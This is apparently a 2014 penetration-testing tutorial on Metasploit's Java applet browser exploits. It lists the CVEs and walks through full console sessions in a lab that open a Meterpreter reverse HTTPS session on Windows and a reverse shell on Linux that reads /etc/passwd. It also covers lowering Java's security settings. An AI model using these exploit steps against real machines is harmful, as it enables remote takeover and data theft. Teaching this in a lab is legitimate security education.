06- Metasploit Basics- Attacking Java
In 03- Metasploit Basics- Attacking the Browser, we saw how to attack perform attacks against both the Internet Explorer and the Firefox browser, both in Windows and Linux operating systems. Attacks against users using these browsers does not have to be limited to just attacking the browser itself, and we later expanded our knowledge to attacks on Adobe Flash in 05- Metasploit Basics- Attacking Flash.
Another common attack target in browsers has been the Java plugins. Indeed, during a stretch of 2012 and 2013 it seemed that a new Java attack was released almost every month. In fact, that stretch only saw nine public attacks. OK fine, ten is a lot in such a short period of time. By late 2013 though, Oracle seems to have gotten the problems under control, and we have not seen a new Metasploit module for Java since late summer 2013. Mind you, that can change quickly….
Let’s take a look at these various attacks, from the oldest to the newest.
- Sun Java JRE getSoundbank file:// URI Buffer Overflow
- CVE 2009-3867
- Vulnerable: Java 6, Update 16 and earlier.
- Note: The module states that it has only been tested on a few versions of Java, and only against Windows XP SP3.
- Java Applet Rhino Script Engine Remote Code Execution
- CVE 2011-3544
- Vulnerable: Java 6 Update 27 and earlier; Java 7 (no updates).
- Java AtomicReferenceArray Type Violation Vulnerability
- CVE 2012-0507
- Vulnerable: Java 6 Update 30 and earlier; Java 7 Update 2 and earlier.
- Java Applet Field Bytecode Verifier Cache Remote Code Execution
- CVE 2012-1723
- Vulnerable: Java 6 Update 32 and earlier; Java 7 Update 4 and earlier.
- Java 7 Applet Remote Code Execution
- CVE 2012-4681
- Vulnerable: Java 7 Update 6 and earlier
- Java Applet JAX-WS Remote Code Execution
- CVE 2012-5076
- Vulnerable: Java 7 Update 7 and earlier.
- Java Applet JMX Remote Code Execution
- CVE 2013-0422
- Vulnerable: Java 7 Update 10 and earlier
- Java CMM Remote Code Execution
- CVE 2013-1493
- Vulnerable: Java 6 Update 41 and earlier; Java 7 Update 15 and earlier.
- Java Applet Driver Manager Privileged toString() Remote Code Execution
- CVE 2013-1488
- Vulnerable: Java 7 Update 17 and earlier.
- Java Applet Reflection Type Confusion Remote Code Execution
- CVE 2013-2423
- Vulnerable: Java 7 Update 17 and earlier.
- Java Applet ProviderSkeleton Insecure Invoke Method
- CVE 2013-2460
- Vulnerable: Java 7 Update 21 and earlier.
- Java storeImageArray() Invalid Array Indexing Vulnerability
- CVE 2013-2465
- Vulnerable: Java 7 Update 21 and earlier.
Demonstrations
Let’s demonstrate a few of these modules against a few different targets.
To set up the targets, we are going to need to get old versions of Java. You can get them directly from Oracle. I have had good luck though, getting them from other sites, including Oldapps.com and Oldversion.com. One advantage of these sites is they ability to do a bit of one-stop shopping, as they have older versions of a wide array of software. The downside is the fact that they seem to try to get you to click on one or more of their ads, typically by making them look the download button. Try it and see- you may never have seen the word "Download" in so many boxes in one place!
As you install (and uninstall) various versions of Java for testing, you may want to be sure that your browser is running the version of Java that you wish. You can do that manually; for example in Firefox from the address bar navigate to about:plugins
The problem with this approach is that you need to check each different browser somewhat differently. Instead, you can head over to Oracle’s Java verification page and see what Java thinks you have. One warning though- because of all of the vulnerabilities in Java, they have become quite aggressive in their attempts to convince you to upgrade to the latest version of Java. Since we actually are interested in testing the older stuff, just be careful that you don’t inadvertently update Java.
As our first example, let’s try the latest exploit against Java 7 Update 21 (32 bit) installed on Windows 7 (64 bit); we’ll use our Firefox browser. The exploit set-up is similar to what we have seen in other browser exploits. The big difference now is that instead of using a Windows or Linux payload, we’ll use a Java (meterpreter) payload.
msf > use exploit/multi/browser/java_storeimagearray msf exploit(java_storeimagearray) > show options Module options (exploit/multi/browser/java_storeimagearray): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Generic (Java Payload) msf exploit(java_storeimagearray) > set uripath bob uripath => bob msf exploit(java_storeimagearray) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP Stager java/meterpreter/reverse_http normal Java Meterpreter, Java Reverse HTTP Stager java/meterpreter/reverse_https normal Java Meterpreter, Java Reverse HTTPS Stager java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP Stager java/shell/bind_tcp normal Command Shell, Java Bind TCP Stager java/shell/reverse_tcp normal Command Shell, Java Reverse TCP Stager java/shell_reverse_tcp normal Java Command Shell, Reverse TCP Inline msf exploit(java_storeimagearray) > set payload java/meterpreter/reverse_https payload => java/meterpreter/reverse_https msf exploit(java_storeimagearray) > set lhost 10.0.1.27 lhost => 10.0.1.27 msf exploit(java_storeimagearray) > show options Module options (exploit/multi/browser/java_storeimagearray): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH bob no The URI to use for this exploit (default is random) Payload options (java/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.1.27 yes The local listener hostname LPORT 8443 yes The local listener port Exploit target: Id Name -- ---- 0 Generic (Java Payload) msf exploit(java_storeimagearray) > exploit -j [*] Exploit running as background job. msf exploit(java_storeimagearray) > [*] Started HTTPS reverse handler on https://0.0.0.0:8443/ [*] Using URL: http://0.0.0.0:8080/bob [*] Local IP: http://10.0.1.27:8080/bob [*] Server started.
The first thing you will notice with the exploit is that after visiting the hostile web site, you are unable to even launch Java from the browser. This is a new security feature in Java that prevents unsigned applets from running on less than the latest version of Java. Let’s disable this feature. From the Control Panel in Windows, select Java. From the Security tab, slide the slider from the default level (High) to Medium. Be sure that Java content is enabled in the browser.
With the settings changed, visiting the web site will first result in a warning that your version of Java is out of date. Clicking to activate the plugin, will then present you with another box stating that your version of Java is out of date and should be updated. Let’s ignore this warning as well.
Continuing, you get yet a third warning; this one asks you if you want to run the application. It forces you to manually check a box saying that you accept the risk. You know, I thought the idea was that Java was, you know, sandboxed. Now I feel like I am passing through an airport checkpoint.
Still, if we can get the user to jump through all of these hoops, then the shell is ours…
msf exploit(java_storeimagearray) > [!] 10.0.2.2 java_storeimagearray - Requesting: /bob/ [*] 10.0.2.2 java_storeimagearray - Sending HTML... [!] 10.0.2.2 java_storeimagearray - Requesting: /bob/tSJZlKi.jar [*] 10.0.2.2 java_storeimagearray - Sending .jar file... [!] 10.0.2.2 java_storeimagearray - Requesting: /bob/tSJZlKi.jar [*] 10.0.2.2 java_storeimagearray - Sending .jar file... [*] 10.0.2.2:50423 Request received for /INITJM... [*] Meterpreter session 1 opened (10.0.1.27:8443 -> 10.0.2.2:50423) at 2014-06-08 19:42:21 -0400
Now the Java Meterpreter is similar to the traditional Meterpreter. You can spawn a shell, take screenshots, even run programs remotely. There are some noticeable differences though. Java Meterpreter does not migrate between processes, and it does notallow some commands (like getsystem
).
Although this example used a Java meterpreter for the payload, this is not a requirement. If you change the target from the default to a Windows target, you are able to use a Windows Meterpreter payload. Similarly, if you use a Linux target, you can set up a Linux payload.
For example, suppose we have Linux Mint 13 system running Java 6 Update 30. Let’s try the Applet Field Bytecode Verifier exploit, and target it specifically at our Linux system. Rather than use a Meterpreter payload, let’s instead use a Linux shell.
msf > use exploit/multi/browser/java_verifier_field_access msf exploit(java_verifier_field_access) > show options Module options (exploit/multi/browser/java_verifier_field_access): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Generic (Java Payload) msf exploit(java_verifier_field_access) > set uripath bob uripath => bob msf exploit(java_verifier_field_access) > show targets Exploit targets: Id Name -- ---- 0 Generic (Java Payload) 1 Windows x86 (Native Payload) 2 Mac OS X PPC (Native Payload) 3 Mac OS X x86 (Native Payload) 4 Linux x86 (Native Payload) msf exploit(java_verifier_field_access) > set target 4 target => 4 msf exploit(java_verifier_field_access) > set payload linux/x86/shell_reverse_tcp payload => linux/x86/shell_reverse_tcp msf exploit(java_verifier_field_access) > show options Module options (exploit/multi/browser/java_verifier_field_access): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH bob no The URI to use for this exploit (default is random) Payload options (linux/x86/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 4 Linux x86 (Native Payload) msf exploit(java_verifier_field_access) > set lhost 10.0.1.27 lhost => 10.0.1.27 msf exploit(java_verifier_field_access) > exploit -j [*] Exploit running as background job. msf exploit(java_verifier_field_access) > [*] Started reverse handler on 10.0.1.27:4444 [*] Using URL: http://0.0.0.0:8080/bob [*] Local IP: http://10.0.1.27:8080/bob [*] Server started. msf exploit(java_verifier_field_access) > [*] 10.0.2.5 java_verifier_field_access - Sending Java Applet Field Bytecode Verifier Cache Remote Code Execution [*] 10.0.2.5 java_verifier_field_access - Generated executable to drop (179 bytes). [*] 10.0.2.5 java_verifier_field_access - Sending jar [*] 10.0.2.5 java_verifier_field_access - Sending jar [*] Command shell session 1 opened (10.0.1.27:4444 -> 10.0.2.5:42843) at 2014-06-08 20:48:45 -0400 msf exploit(java_verifier_field_access) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell linux 10.0.1.27:4444 -> 10.0.2.5:42843 (10.0.2.5) msf exploit(java_verifier_field_access) > sessions -i 1 [*] Starting interaction with 1... whoami zathras ^Z Background session 1? [y/N] y msf exploit(java_verifier_field_access) >
Other than lacking a bash prompt, our shell is quite effective.
msf exploit(java_verifier_field_access) > sessions -i 1 [*] Starting interaction with 1... cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false avahi-autoipd:x:105:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd: /bin/false avahi:x:106:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false kernoops:x:107:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:108:117:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:109:119:RealtimeKit,,,:/proc:/bin/false hplip:x:110:7:HPLIP system user,,,:/var/run/hplip:/bin/false kdm:x:111:65534::/home/kdm:/bin/false saned:x:112:120::/home/saned:/bin/false speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher: /bin/sh sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin davfs2:x:115:123::/var/cache/davfs2:/bin/false zathras:x:1000:1000:zathras,,,:/home/zathras:/bin/bash
Aww, no mention of the oldest 65534-byte ‘bytecode verify’ bug?